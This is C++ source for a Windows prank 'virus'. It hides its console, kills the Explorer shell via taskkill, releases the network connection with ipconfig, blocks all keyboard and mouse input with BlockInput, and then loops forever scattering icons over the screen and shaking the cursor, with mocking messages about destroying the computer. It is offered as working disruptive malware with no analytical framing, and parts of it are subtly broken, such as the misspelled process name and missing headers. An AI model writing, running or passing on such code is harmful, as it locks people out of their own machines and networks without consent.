#include <windows.h> #include <time.h> #include <stdio.h> #include <tchar.h> #include <winable.h> #include <Mmsystem.h> using namespace std; void Play() { cout << "请输入密码:"; cout << "您的电脑将在60秒后销毁(哈哈)"; cout << "骗你的!!!"; int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN); int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN); HWND hDesktop = GetDesktopWindow(); HDC hdc = GetWindowDC(hDesktop); POINT cursor; GetCursorPos(&cursor); DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR)); DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_WINLOGO)); DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_INFORMATION)); if (rand() % 3 == 0) DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING)); DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_QUESTION)); DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_INFORMATION)); DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_WINLOGO)); DrawIcon(hdc, rand() % iDesktopWidth, rand() % iDesktopHeight, LoadIcon(NULL, IDI_ERROR)); } int x = 0, y = 0, a = 0, m = 0;
VOID BlackScreen(VOID) { PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2); } int main() { HDC hdc = GetDC(NULL); HWND hwnd; hwnd = FindWindow("ConsoleWindowClass", NULL); if (hwnd) { ShowWindow(hwnd, SW_HIDE); } HWND hWnd = GetConsoleWindow(); SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile("asdfghjklyhbthnuhv.txt", ios::out); if (!outfile) { cerr << "open error" << endl; return 0; } outfile << "let`s play!______little virus ]~( ̄▽ ̄)~ヾ(≧▽≦)o"; outfile.close(); system("start asdfghjklyhbthnuhv.txt"); system("taskkill /im explore.exe/f"); system("ipconfig /release"); BlockInput(TRUE); RECT rect; LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); POINT p; srand((unsigned)time(NULL)); HWND Wnd = GetForegroundWindow(); ShowWindow(Wnd, SW_HIDE); while (1) { Play(); Play(); Sleep(3); GetCursorPos(&p); x = rand() % 2; y = rand() % 2; a = rand() % 2; m = rand() % 13; if (a == 1) { SetCursorPos(p.x + x + 3, p.y + y + 3); SetCursorPos(p.x - x - 3, p.y + y - 3); SetCursorPos(p.x + x + 3, p.y + y - 3); SetCursorPos(p.x - x - 3, p.y + y + 3); } else if (a == 0) { SetCursorPos(p.x - x - 3, p.y - y - 3); SetCursorPos(p.x + x + 3, p.y - y + 3); SetCursorPos(p.x - x - 3, p.y - y + 3); SetCursorPos(p.x + x + 3, p.y - y - 3); } else if (m == 0) { SetCursorPos(p.x - x - 2, p.y - y - 0); SetCursorPos(p.x + x + 2, p.y - y + 0); SetCursorPos(p.x - x - 0, p.y - y + 2); SetCursorPos(p.x + x + 0, p.y - y - 2); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); } } }